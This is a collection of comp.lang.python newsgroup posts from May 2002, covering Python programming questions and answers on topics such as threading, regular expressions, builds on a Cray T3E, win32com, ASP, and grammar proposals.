Python's approach is bad. Quite the > > contrary, I like Python quite a bit, and have defended it amongst Perl > > devotees. I just think that there is an advantage to a bit of > > ambiguity, at times. > > You've said there's a danger in things being too obvious, and that there > are advantages to a bit of ambiguity, but you haven't yet stated what > that danger nor what those advantages might be. The danger is stagnation. A certain approach works, so that's what gets used, even when there are other better(shorter, more readable, more consistent, more elegant, faster, more "direct", etc.) ways of approaching a problem. The advantage to a little bit of ambiguity is that it forces attention to detail that really gets the neurons firing. > Is it just a gut feeling, or do you really have specific examples on > which you base these claims? Well, in writing Perl modules I could continue to use(to access a data member of an object, stored as a hash): package Person; sub name { my $self = shift; if (@_) { my $self->{name} = shift; } return $self->{name}; } And use this as: print $guy->name("John"); Or, I could try out lvalue subroutines and use something like: package Person; sub name : lvalue { my $self = shift; $self->{name}; } print $guy->name="John"; With Ruby, my personal favorite, there are iterator methods, which someone might never discover if they were content to simply use for loops. Or they could manually construct accessor methods for classes, since that works perfectly well, even though it's nowhere near as elegant as attr_accessor/attr_reader/attr_writer. > Personally, I reject both of them outright, after starting with the > premise that when programming I'm engaged in a practical endeavour, > not an artistic one. With all of the people I know who've gone into "computer science" because "they can make a lot of money", and not because they have any kind of passion for it, I take a bit of offense at that idea. From brian at sweetapp.com Mon May 20 01:28:30 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Sun, 19 May 2002 22:28:30 -0700 Subject: OT: Crazy Programming In-Reply-To: Message-ID: <001701c1ffbf$2f144ae0$445d4540@Dell2> Tim Roberts wrote: > I never cease to amazed by the number of of unsophisticated users I > encounter who are experiencing problems caused by faulty software > testing and are convinced that it is all their fault. Amazed, and > ashamed. You should be honored that people have such a high regard for our profession :-) Cheers, Brian From loewis at informatik.hu-berlin.de Fri May 10 09:13:14 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 10 May 2002 15:13:14 +0200 Subject: Conditional compilation References: <3cdbb641_2@news3.newsgroups.com> Message-ID: jb writes: > This question was probably asked many times. > > It does not seem to be possible to "comment out" blocks of code, which would > be a very nice feature for testing purposes. (Maybe I can do it with """ > but that looks a bit cumbersome.) > > Any ideas, hint, proposals? The typical solution is to put the entire block in a "if 0:" statement. If your editor does not conveniently allow to right-indent a block of code, you may succeed with putting the if statement on the half indentation level; you'll need to add 'if 1:' for the rest of the block in this case, also. HTH, Martin From mlh at vier.idi.ntnu.no Fri May 3 20:23:25 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Sat, 4 May 2002 00:23:25 +0000 (UTC) Subject: Threads and socketservers... (xmlrpc) References: Message-ID: In article , Chris Liechti wrote: >mlh at vier.idi.ntnu.no (Magnus Lie Hetland) wrote in >news:slrnad60to.qvq.mlh at vier.idi.ntnu.no: > s = xmlrpclib.Server(...) >> t = threading.Thread(taget=s.serve_forever) >> t.setDaemon(1) >> t.run() > >usualy that last line should be: >"t.start()" -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From gerhard at bigfoot.de Sat May 11 20:38:02 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 12 May 2002 00:38:02 GMT Subject: Multibyte Character Surport for Python References: <877kmag92g.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: Martin v. Loewis wrote in comp.lang.python: > More often, you find the position that Python source code should be > restricted to UTF-8, period. That's what I'd prefer to see rather sooner than later. > The counter-position to that is: what about existing code, recode(1) > and what about people who don't have UTF-8 editors? http://www.vim.org/, http://www.xemacs.org/ And certainly the commercial Python IDEs would support this very soon, too. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From mhammond at skippinet.com.au Tue May 14 20:33:21 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Wed, 15 May 2002 00:33:21 GMT Subject: win32com, access of 2-dimensional Property References: <3CE12BB1.50FF6851@ipm.fhg.de> Message-ID: <3CE1AD11.7040101@skippinet.com.au> Markus von Ehr wrote: > Hi, > > I use an ActiveX Interface for an Apogee camera. > The code works, the only problem I have is to > retrieve the Image data which is a twodimensional > ReadOnly Property of Data Type Variant. > Does Anybody know how to access these types? > This doesnt work: cam.Image(100, 100), cam.Image("100", "100") > neither cam.Image[100, 100] You should run makepy over the type library for the object, and have a look. You may find that you need to do something like: data = cam.Image.Value # data is now a tuple of tuple representing the data or maybe something like: data = cam.Image.Item(100,100) etc. Mark. From m.hadfield at niwa.cri.nz Thu May 16 20:27:01 2002 From: m.hadfield at niwa.cri.nz (Mark Hadfield) Date: Fri, 17 May 2002 12:27:01 +1200 Subject: Building Python on Cray T3E References: Message-ID: <000701c1fd39$9093e7e0$d938a8c0@Hadfield> From: "Michael Hudson" > "Mark Hadfield" writes: >> - As noted earlier in this thread, there is a C-function name >> clash in the _sre module, which can be easily fixed. However, >> recall that sre is one of two alternative regular-expression >> engines for the re module, the other engine being pre. It turns >> out that sre does not pass its tests so the path of least >> resistance is is to modify Lib/re.py to use the pre engine (the >> change is trivial) and comment out the _sre entry in >> Modules/Setup. > > How does it fail? Is it the "NoneType not callable" failure below. Oops. The test_sre failure occurred because it couldn't load the unicodedata module. I thought I had tried and failed to build unicodedata, but in fact I hadn't tried. I did try, it builds OK, and test_re succeeds. So cancel my suggestion above. DO patch & build _sre.c, DON'T modify Lib/re.py. DO make sure you build unicodedata.c. The "NoneType not callable" failure comes from pre. >> test test_re crashed -- exceptions.TypeError: 'NoneType' object >> is not callable > > This is just weird. Can you dig a little? OK, just a little so far. It's not Cray-related. It occurs on other platforms if you modify re.py to select the pre engine. I've seen the same exception elsewhere when a function argument is missing. So I'm guessing that the problem is that pre does not present exactly the same interface as sre. It's a moot point for me now that I have sre working, but is the pre module still supported? If so should I enter this failure as a bug in pre? >> - After building Python, make runs setup.py, which attempts >> (among other things) to build extensions not already built & >> linked statically. This is a futile but harmless exercise; the >> inevitable failures do not cause make to abort. I have seen >> elsewhere (in connection with Cygwin Python) a reference to a >> "--disable-shared" option to configure that I presume would >> inhibit this. However this is ignored by configure in Python >> 2.2.1. > > You can get it to not do this by just executing "make python" rather > than "make all" or "make". --disable-shared is a red herring in > this context, I think (even in 2.3 where it exists). Executing "make python" does indeed bypass attempts to build extension modules for dynamic linking, but "make install" and "make test" don't. My ad-hoc solution is to change the following in setup.py (class PyBuildExt(build_ext), function build_extensions(self)): # Remove modules that are present on the disabled list self.extensions = [ext for ext in self.extensions if ext.name not in disabled_module_list] to this: self.extensions = [] >> - Testing is a somewhat depressing experience. On the NIWA >> machine, a simple "make test" command fails to complete after 12 >> hours and thrashes the swap space, with the side effect of >> inhibiting all network access for 10 seconds out of every 30. > > ! Is this test_longexp, by any chance? Not specifically that one. I think the problem is that running all the tests in sequence without reloading the Python interpreter demands a lot of memory. On our Compaq Unix machine it takes 67 MB and on the Cray it takes 128 MB. This doesn't sound like an excessive amount but Cray T3E's are not very smart about swapping and we seem to have some sort of load-balancing problem that causes the single-CPU jobs to flock to one processor. >> My immediate reason for installing Python on the Cray is that I >> want to check out SCons, but it *must* work on the Cray to be of >> any use to me. At the moment SCons won't work because it requires >> md5, which couldn't be compiled because it requires a UINT4 data >> type. So I guess I'll either have to get md5 working or persuade >> SCons to work without md5 checksums. Oh well... > > Yeah, the md5 code that comes with Python is fairly 32 bit specific. > However, if you can find some md5-for-cray code in the wild, it's > probably not too much effort to hook it up to Python. I'll look into that. Alternatively it should be possible to persuade SCons to use its TimeStamp module instead of its MD5 module for file-change detection. But I haven't quite managed to get that going. Still, it's all great fun! --- Mark Hadfield "Ka puwaha et tai nei, Hoea tatou" m.hadfield at niwa.co.nz National Institute for Water and Atmospheric Research (NIWA) From reply at in_newsgroup.tks Sun May 26 09:32:48 2002 From: reply at in_newsgroup.tks (Scrumpy) Date: 26 May 2002 13:32:48 GMT Subject: How should I dynamically generate html tables? References: Message-ID: Chris Liechti wrote in news:Xns921A12FA1A762cliechtigmxnet at 62.2.16.82: > have a look at http://ht2html.sf.net. it's the tool that is also used > for python.org. that way you can generate a .ht file from your script > and ht2html puts the navigation on the left etc. around it. so you can > essentialy start every time with a new .ht file and don't need to > extract old data from the html. > > chris I've just had a look at the ht2html site and the http://ht2html.sourceforge.net/components.html page in particular. This particular solution requires the user to work within a 'roughly' pre- defined layout and one which is based on tables. What I would like to do is maintain the existing 'look' of my website. I use CSS2 for layout purposes (and style of course) and not tables. In my original posting I think I should've provided the URL of the single page that I would like to auto regenerate in the future but here it is now: http://www.geocities.com/scrumpyshangout/freesoft.html The overall page layout is in CSS2 and tables are only used to display each piece of software's details. For dynamic websites I create in the future, I want to make use of various methods to ease maintenance, including looking at templating solutions as you suggested. I hope my initial request for help with automating my existing site now makes more sense :) Thanks for your feedback. Cheers, Scrumpy :) From steve at ferg.org Mon May 27 11:33:16 2002 From: steve at ferg.org (Stephen Ferg) Date: 27 May 2002 08:33:16 -0700 Subject: Need help learning Python References: <63f2fcbe.0205261521.76c3612f@posting.google.com> Message-ID: >Also, book recommendations would be nice ... I'd recommend "The Quick Python Book" by Harms and McDonald. Very readable. To get started, you'll also want a copy of the documentation for the Python libraries. You can download it, but buying a copy of "Python Essential Reference" by Beazley is easier, and has a lot of extra, useful information. From nospam at sebsauvage.net Wed May 29 05:58:04 2002 From: nospam at sebsauvage.net (Sebastien SAUVAGE) Date: 29 May 2002 09:58:04 GMT Subject: Browsing a big mailbox offline Message-ID: <2002529-10584-626303@foorum.com> Hello. I'm looking for a convenient way for browsing *offline* the marvellous comp.lang.python archive (a nice 397 Mb mailbox file available at http://mail.python.org/pipermail/python-list/ ) I found no news client capable of reading/importing a raw unix mailbox. Does anybody know a news client capable of this ? (platform : Windows) Or will I have to install a local NNTP server ? (something like CoffeeLink Open News Server or Hamster ?) -- Use our news server 'news.foorum.com' from anywhere. More details at: http://nnrpinfo.go.foorum.com/ From cpbotha at i_triple_e.org Fri May 24 07:34:21 2002 From: cpbotha at i_triple_e.org (Charl P. Botha) Date: Fri, 24 May 2002 11:34:21 +0000 (UTC) Subject: Iterating through two lists References: <3cee0ae6_1@news3.newsgroups.com> Message-ID: In article <3cee0ae6_1 at news3.newsgroups.com>, jb wrote: > I have two lists, x and y with the property len(x) = len(y). > > I should like to achive this (x is a list of class instances) > > for (a,b) in (x,y): a.f(b) > > Is there a fancy way of doing this or have I to introduce an auxillary > counter (that is very easy but maybe not very "lispy", that is > "python-like"). map(lambda a, b: a.f(b), x, y) Would also be a good way of doing it... -- charl p. botha http://cpbotha.net/ http://visualisation.tudelft.nl/ From p.magwene at snet.net Wed May 8 18:31:08 2002 From: p.magwene at snet.net (Paul Magwene) Date: Wed, 08 May 2002 22:31:08 GMT Subject: comparing lists References: Message-ID: On Wed, 08 May 2002 18:40:26 -0400, Mark McEahern wrote: > Suppose I want to do a boolean comparison (equal or not equal) of two > lists case-insensitively and I don't care about order. I can do this: > > 1. Create temporary copies that are lowercased and use the in operator: > > 2. Sort temporary copies, then then compare them. > > Are there other options? Is there a strong reason to prefer one > approach over the other? > > Sample code below. > > Thanks, > > // mark > > If you know you're dealing with lists of strings why don't you use the "join" methods in the string module. For example: >>> import string >>> l = ['a','b','c'] >>> m = ['C','b','a'] >>> n = ['A','B','c'] >>> lstr = string.join(l) >>> mstr = string.join(m) >>> nstr = string.join(n) >>> lstr.lower() 'a b c' >>> lstr.lower() == nstr.lower() 1 >>> lstr.lower() == mstr.lower() 0 >>> --Paul From alan.collins at pobox.com Mon May 13 12:03:05 2002 From: alan.collins at pobox.com (Alan Collins) Date: Mon, 13 May 2002 18:03:05 +0200 Subject: ASP: page blank after refresh. Message-ID: Hi. I have followed advice previously posted on this forum to replace framework.py with the version from win32all-133. It makes no difference. The problem: <%@ LANGUAGE = Python %> <% i = 16 %> > Hello World!
Calling up the page works fine the first time. Do a refresh and you get a blank screen. Replace language Python with VBSCRIPT and the refresh works perfectly. Technical particulars: Windows XP, IE6, Python 2.2.1 build 222, ActivePython 2.2. I'd rather not switch to vbscript so I'd appreciate any help you can give. Many thanks, Alan. From jeremy at jdyallop.freeserve.co.uk Wed May 22 08:08:02 2002 From: jeremy at jdyallop.freeserve.co.uk (Jeremy Yallop) Date: 22 May 2002 12:08:02 GMT Subject: Emulating Pascal input References: Message-ID: * Michael Williams | Having read through the many threads on this topic on comp.lang.python I | realise and understand that modern programs' input generally requires | thought and customization from the program author. However, we strongly | feel there should be an equivalent to Pascal's readln (which is | basically C's scanf but without the formatting strings) for simple, | generally numerical, whitespace-separated input. Would something like the following be of any use? It returns a tuple of values, read from a file, converted to int, float, or string as appropriate. I'm afraid I don't know any Pascal, so I'm not sure if the behaviour is exactly what you want. import sys def readln(fin=sys.stdin): if fin is sys.stdin: line = raw_input() else: line = fin.readline() rv = () for item in line.split(): try: rv += (int(item),) except ValueError: try: rv += (float(item),) except ValueError: rv += (item,) return rv Jeremy. From emailoffline at hotmail.com Wed May 8 16:16:48 2002 From: emailoffline at hotmail.com (Q) Date: Wed, 08 May 2002 20:16:48 GMT Subject: Python Service Message-ID: I want to convert a Python Script to run as an NT Service. The script uses an infinite while loop to poll the incoming directory for files. It them moves them to the outbound directory and encrypts them using PGP. I followed http://support.microsoft.com/default.aspx?scid=kb;EN-US;q137890 This utilitiy starts the service and it moves the files to the outbound directory. However it fails to encrypt or decrypt. I know the encrypt string works because I have it logged to file which I used to test in DOS command shell. The script also works completely when executed manually. It seems that the SRVANY wrapper fails at the line where the Python script shells out to command line to run the PGP script. The shell out command is "os.popen(strEncrypt)" strEncrypt is defined as a PGP string to encrypt. Can anyone provide ideas? Thanks. From eppstein at ics.uci.edu Fri May 3 14:41:27 2002 From: eppstein at ics.uci.edu (David Eppstein) Date: Fri, 03 May 2002 11:41:27 -0700 Subject: Slight irritation with try/finally indentation References: <3cd2c922.692157118@news> Message-ID: In article <3cd2c922.692157118 at news>, ullrich at math.okstate.edu (David C. Ullrich) wrote: > > setup() > > try: > > process() > > finally: > > cleanup() > > [...] > > > >What I find irritating is that `cleanup()' is not aligned anymore with > >`setup()', as it was originally, so we loose on the legibility of the > >parenthetical idiom we wanted to stress. > > Exactly the same thing bothered me years ago with try-finally in > another language (where the indentation was optional). I never > got around to complaining about it, though... You could always do if 1: # indent to match try-finally setup() try: process() finally: cleanup() -- David Eppstein UC Irvine Dept. of Information & Computer Science eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/ From martin at v.loewis.de Mon May 20 17:03:38 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 20 May 2002 23:03:38 +0200 Subject: Python (2.2) on Solaris 8 (64-bit) References: <79d1869.0205200713.324bee25@posting.google.com> Message-ID: dryose at juno.com (yose) writes: > If anyone has any experience with Python (2.2) on a solaris 8 (64 bit) > install, I would greatly appreciate the help! Most likely, the socket module failed to build; it would help if you had reported that fragment of the make output dealing with sockets (save the entire make output into a file, then search for "socket"). Most likely, it detected a 32-bit OpenSSL installation, which it then could not link to the socket module. Edit Modules/Setup to incorporate _socket explicitly - that gives you the choice of either pointing to a 64-bit OpenSSL installation, or leaving out SSL support. Regards, Martin From mlh at vier.idi.ntnu.no Fri May 10 11:21:37 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Fri, 10 May 2002 15:21:37 +0000 (UTC) Subject: type(xmlrpclib.Fault.faultCode)... References: Message-ID: In article , Magnus Lie Hetland wrote: > I found the problem myself... I looked in SimpleXMLRPCServer, and it turns out that it turns every exception x into a Fault with faultCode 1 (an int, not a string, as the xmlrpclib docs say... Not sure what the deal is here) and faultCode str(x). When I raise Fault objects of my own, this gives a the highly undesirable behaviour of constructing a _new_ Fault object which ignores my faultCode and which ends up with a pretty odd faultString. If I can neither return Faults as Faults nor raise custom Faults -- is there any way one can use custom Faults with SimpleXMLRPCServer? If not, is there any interest in a patch that would allow this? Are there any suggested workarounds? Am I missing something? -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From sholden at holdenweb.com Fri May 10 14:12:13 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 14:12:13 -0400 Subject: Thoughts on new grammar rules (PEP 284 in particular) References: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> Message-ID: I'm not sure what you think would be wrong. It's only the syntax/semantics of the "for" statement this PEP would change. As always, the "if" statement you quote will work (Python has had chained comparisons since God was a small girl): >>> for x in range(-10, 20): # [-10, -9, ... , 19] ... if 0 <= x < 10: ... print x, "is in range" ... 0 is in range 1 is in range 2 is in range 3 is in range 4 is in range 5 is in range 6 is in range 7 is in range 8 is in range 9 is in range >>> Hope this makes your weekend brighter! regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- "Steve Horne" wrote in message news:82undu4anb47usgck50ebil2ku1f36173q at 4ax.com... > > I was just reading PEP284 and, in general, I like it. The trouble is, > I'd quite like these limit-specifications to be more general. For > example, I'd quite like to write... > > if 0 <= x < 10 : > print "x is in range" > > There is a big problem with this, of course - this is already legal > Python, but the semantics aren't what I intend. > > Looking generally through other PEPs, there seems to be a general > problem with adding new grammar to the Python language. Some > contortions are needed to avoid breaking old code. > > I was wondering if maybe it is time that the Python 'core' grammar was > considered broadly complete, with the exception of a special notation > specifically designed for the purpose of wrapping new grammar rules. > > I haven't thought through my choice of symbols, but imagine a notation > such as the following was created... > > [* indentifier RULE *] > > That is, use delimiters with and enclosed identifier and rule where > the identifier explicitly identifies the grammar rule being used. > > We could then have... > > range checking... > > if [* check 0 <= x < 10 *] : > print "OK" > > for loop... > > for [* range 0 <= x < 10 *] : > pass > > Obvious Advantages... > > - If the new syntax turns out to be obscure and rarely used, people > reading the code that does use it at least have a clear identifier > name to look up in the manuals to find an explanation of what it > does. > > - With careful choice of delimiters (ie the [* and *] above) this > should never cause a code break, and should save a lot of hassle > in this respect in the future. > > - Python should be able to give a clear error message if source code > intended for a newer version is used (e.g. 'range support not > provided in this Python version) by simply picking up the > identifier. > > Obvious disadvantages... > > - Noticably wordier than necessary, as each new grammar rule has > three 'redundant' tokens. > > - Could make it too convenient to add obscure special-purpose > features, leading to unnecessary bloat. > > Any comments? > > -- > Steve Horne > steve at lurking.demon.co.uk From cliechti at gmx.net Mon May 6 19:20:47 2002 From: cliechti at gmx.net (Chris Liechti) Date: 7 May 2002 01:20:47 +0200 Subject: article: MS in Peruvian open-source nightmare Message-ID: a peruvian congressman answers to letter form MS. its an long, but interesting read in favor of open source (hi Oleg ;-). i post this note here because GvR is metioned along with RMS, Linus and others. here's the article from "The Register" (found on "/."): http://www.theregister.co.uk/content/4/25157.html chris -- Chris From ianb at colorstudy.com Wed May 1 02:03:35 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 01 May 2002 01:03:35 -0500 Subject: Python vs. Perl, which is better to learn? In-Reply-To: References: Message-ID: <1020233015.469.1131.camel@localhost> On Wed, 2002-05-01 at 00:02, Christopher Browne wrote: > Mind you, I have found that the "More Pythonic Way" of constructing > complex regexes by building components, like the following, to have > merit: > > digit = '[0-9]' > date = '\(' + digit + digit + digit + digit + '/' + digit + digit + '/' > date = date + digit + digit + '\)' > > By building the regex out of something with named components, I don't > have the horridness of line noise like: > if ($line =~ /.*\s+\d+.\d+\s+\d+.\d+\s+.\d+.\d+/) { Sounds like you want SNOBOL-like regexes, perhaps? I feel like someone implemented something along those lines for Python, probably more as an experiment than for practical reasons. I've also seen Lispy regex engines where you really feel like you are creating a state machine (which you more or less are anyway -- it just feels more like it). I can't remember them well, but I feel like you express it like '("(" digit digit digit digit "/" digit digit ...) probably with other operators, so you wouldn't have to write "digit digit digit digit" and such. These of course could also be implemented in Python -- though the Lisp syntax may actually be an advantage here (or at least the separation of strings and symbols). Since Python doesn't give any special preference to Perl-like regexes, it's just as possible to have a re2 library, with re2.compile([regex expressed as a list...]), where the compiled objects otherwise act just like re compiled objects, and are thus interchangeable. Considering how Dark and Mysterious regexes are to novices, this might be well worth it. Ian From bokr at oz.net Fri May 17 13:45:08 2002 From: bokr at oz.net (Bengt Richter) Date: 17 May 2002 17:45:08 GMT Subject: File write/read question References: <78bc9697.0205130907.4288e607@posting.google.com> Message-ID: On 13 May 2002 10:07:11 -0700, nhellmers at yahoo.com (Nathan Hellmers) wrote: >Hi, > >I'm just getting started with Python, and am stumped on a basic >problem. I have one program that runs a lot of calculations and >produces an integer. I want to write that integer to a file, and then >read it with another program to run some more calculations. I know >that an integer written to a file is actually a string, but how do I >convert the string to an integer once I have read it with program #2? > >Simplified example of what I am trying to do: > >--------------- >#1 > >test = open("test.txt", "w") >a = 1 >print >> test, a >test.flush() >---------------- > >That successfully writes the number 1 to a file called test.txt. > >---------------- >#2 > >test2 = open("test.txt", "r") >a = test2.readline() >int(a) a=int(a) # otherwise the next statement still sees a as "1\n" # and prints the value of the expression "1\n" + "1\n" (which is "1\n1\n") # instead of the value of the expression 1 + 1 >print a + a >---------------- > >That successfully reads the number 1 from the file and assigns the >variable "a" to it, but the printout is 1 1 (on two lines) rather than >2. Using type I can see that "a" was not converted to an integer. I It will probably help you in Python to start thinking of names and values separately. IOW, "a" (w/o quotes) is a name, not a value. The thing that gets converted is what is found when you look up the name and find out what value it is bound to. In this case '1\n'. A name in Python is not a labeled storage slot in the sense of C or assembly. It's better to think of names as keys to use for looking up values in a dictionary of name->value associations (though implementation varies in different contexts). >can also see that "a" actually equals "a\n". If I slice off the \n ITYM "1\n" ? >with "a = a[0:1]", I still can't convert it to an integer. > int(a) converts, but doesn't rebind a to the integer resulting from the conversion, unless you write a=int(a) IOW, assignment in Python is re/binding, or changing the dictionary entry for the name on the left hand side of the '=' so that lookup subsequently results in the new value. When you write a=int(a), you don't modify the old value associated with a, you create a new value and associate a with the new value, abandoning a's claim on the old value (which gets garbage collected eventually). If you write b=a before writing a=int(a), you are associating the name b with something, namely the value associated with a ('1\n'). Thus that value gets two claims on it (tracked by a reference count that is part of each value object). Thus if you then rebind a with a=int(a), a's claim to its old value is abandoned, but not b's. IOW, the reference count for '1\n' goes from 2 to 1, and a looks up the new value (1) and b the old ('1\n'). > >Any help would be greatly appreciated. > HTH Regards, Bengt Richter From jepler at unpythonic.net Thu May 2 12:27:15 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Thu, 2 May 2002 11:27:15 -0500 Subject: [PEP] matching and mismatching In-Reply-To: <3CD17107.A862ED1B@aspextechnology.com> References: <3CD17107.A862ED1B@aspextechnology.com> Message-ID: <20020502112714.C25216@unpythonic.net> On Thu, May 02, 2002 at 05:01:59PM +0000, Luke Kenneth Casson Leighton wrote: > for x in ([1,3,2,5,9] matching lambda x:x > 2): > print x As another poster has observed, you can use list comprehensions for this purpose, as long as constructing the temporary list is palatable. Of course, """ print non-empty lines """ for x in file matching lambda x: len(strip(x)): print x might avoid reading the entire file, but for x in [line in file if len(strip(line))]: print x will force the construction of a list containing all the lines to be printed. There was a proposal to make 'generator comprehensions', with a syntax like for x in [yield line in file if len(strip(line))]: print x but it was rejected. (http://python.org/peps/pep-0289.html) Personally, if I got a vote, I would have been +1 on at least this part of PEP 289, but it was rejected due to limited utility and difficulty of implementation. Jeff From mhammond at skippinet.com.au Fri May 31 09:39:41 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Fri, 31 May 2002 13:39:41 GMT Subject: Win32 ASP Problems (Response.End) References: <3CF71188.3070304@skippinet.com.au> Message-ID: <3CF77D89.4070000@skippinet.com.au> Mark Hammond wrote: I meant to clarify: > * Response.end appears to actually be *calling* Response.End() - even > without the parens. This is a side-effect of the way Python queries > objects for their properties. This actually shouldn't be happening - > Response.end should raise an AttributeError. I will look into this, but > have spent too much time on AXScript already this week! Response.End does the right thing - ie, "Response.End" is a bound method, so the parens are needed. "Response.end" behaves strangely. It is this discrepancy that I consider a bug, and I think I should simply make "Response.end" (and every other incorrectly cased method) fail with an AttributeError. I guess backwards compatibility could be an issue. I wonder if fixing this would break anyones code? Mark. From dominica at www.com Mon May 13 23:44:21 2002 From: dominica at www.com (Drake) Date: 13 May 2002 20:44:21 -0700 Subject: The vault and XP References: <79c63baa.0205120705.3ca59f6a@posting.google.com> Message-ID: <79c63baa.0205131944.147f558e@posting.google.com> Found the problem... ZoneAlarm! Vault will not open with ZA on "high" (internet) security. Must be set to medium or lower. BTW, "high" (internet) security is ZA recommmeded setting for all configs! Drake "Hank Fay" wrote in message news:... > I use XP and have no problem. > > Hank > > "Drake" wrote in message > news:79c63baa.0205120705.3ca59f6a at posting.google.com... > > Ever since upgrading (ie re-tooling) to XPPro, I have not been able to > > access the vault. No problem from home on 98SE w/IE5.5. > > > > I'm thinking it's a service, or a policy problem. Anybody heard of > > this before or have any suggestions on how to fix it? > > > > Thanks > > > > Drake From gerhard at bigfoot.de Tue May 14 08:46:36 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Tue, 14 May 2002 14:46:36 +0200 Subject: Samba - python In-Reply-To: <4j7E8.30322$UV4.6245@rwcrnsc54> References: <4j7E8.30322$UV4.6245@rwcrnsc54> Message-ID: <20020514124636.GA1221@lilith.my-fqdn.de> * Emile van Sebille [2002-05-14 12:21 +0000]: > "Joan Torres" > > I need to upload/download files to and from Unix (solaris) amb Win > > 2k-XP machines. > > Is there any samba-python module available? > > > > Take a look at ftplib Looks like interesting work is happening in the SAMBA CVS: http://pserver.samba.org/cgi-bin/cvsweb/samba-python/ Of course, you should also be able to automate the SMB client programs with the various os.popen functions. If Jython is an option, there's also a pure-Java SMB library, too (look at Freshmeat if interested). Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From greg at cosc.canterbury.ac.nz Tue May 14 22:16:34 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Wed, 15 May 2002 14:16:34 +1200 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <23891c90.0205130956.6f0436a0@posting.google.com> <3d06fae9.0205140451.5ec335b1@posting.google.com> Message-ID: <3CE1C502.BF27501D@cosc.canterbury.ac.nz> jmdeschamps wrote: > > But programming is not building bridges or buildings; in its very > essence, its the realm of whatever is within the outer limits of human > creativity, whatever that is! Indeed. I don't think the problem is a lack of engineering principles, it's that we're pushing the boundaries all the time. If buildings were built like computer programs, every building would be unique, not quite like any other building ever built before, and using experimental new materials and building techniques. And before we'd got all the bugs out of one building, we'd be charging ahead with the next one. Under those conditions, I don't think the building industry would have much of a reputation for reliability in their products! When we *do* settle down to work on something properly, we seem to do a pretty good job -- unix, gcc, etc... -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From mwh at python.net Thu May 16 06:03:10 2002 From: mwh at python.net (Michael Hudson) Date: Thu, 16 May 2002 10:03:10 GMT Subject: float separationn References: <3CE2DA16.3050209@darkstargames.de> Message-ID: Wolfgang Draxinger writes: > This is not really C/C++ related, but I think this is also a place to ask: > I'm currently working on a compressed 3D Object interchange format. > With C/C++ its no problem to raw-write the IEEE standard floats the > data consists of into files. Now I'm writing some export scripts for > blender in python. My problem is, that the python float object doesn't > provide a raw-data access. What I need now, is some possibility to > construct the IEEE float format from data returned by the standard > math functions. >>> struct.pack('d', math.pi) '\x18-DT\xfb!\t@' >>> struct.unpack('d', _)[0] 3.1415926535897931 Whether that's IEEE format is a platform dependent crap shoot, I think, but probably no more than it is with C++. Cheers, M. -- Also, remember to put the galaxy back when you've finished, or an angry mob of astronomers will come round and kneecap you with a small telescope for littering. -- Simon Tatham, ucam.chat, from Owen Dunn's review of the year From brueckd at tbye.com Thu May 9 13:36:24 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Thu, 9 May 2002 10:36:24 -0700 (PDT) Subject: high-performance python web frameworks In-Reply-To: Message-ID: On 9 May 2002, Sandy Norton wrote: > Has anybody made a side-by-side comparison of the performance of > python-oriented web frameworks? What type of performance? Generating dynamic pages, serving small objects, serving large objects, managing disk/database use? (is the application network-, disk-, database-, or cpu-intensive/bound?) Also, what are your performance needs? For most people any of the web frameworks will give you more performance than you actually need. -Dave From tdelaney at avaya.com Tue May 7 01:18:22 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Tue, 7 May 2002 15:18:22 +1000 Subject: degrees and radians. Message-ID: > From: Jim Richardson [mailto:warlock at eskimo.com] > > Thanks. Actually, I am a little intimidated by the whole OO and class > thing. I still don't "grok" the whole OO thing. > > I don't understand what the (self,...) part of the init is. I > *think* I > know what __init__ is for, to set up the things you need to use the > functions (methods?) within the class, but what's with self > all over the > place? This may help ... http://www.ibiblio.org/obp/thinkCSpy/ Tim Delaney From mgilfix at eecs.tufts.edu Fri May 17 14:33:39 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Fri, 17 May 2002 14:33:39 -0400 Subject: pygtk vs. wxPython In-Reply-To: <3CE4E081.10908@thomas-guettler.de>; from zopestoller@thomas-guettler.de on Fri, May 17, 2002 at 12:50:41PM +0200 References: <3CE4E081.10908@thomas-guettler.de> Message-ID: <20020517143339.B4679@eecs.tufts.edu> On Fri, May 17 @ 12:50, Thomas Guettler wrote: > How well does pygtk run on windows? Since others have already replied, just a comment. The pygtk (and gtk port in general) does not yet support threading on 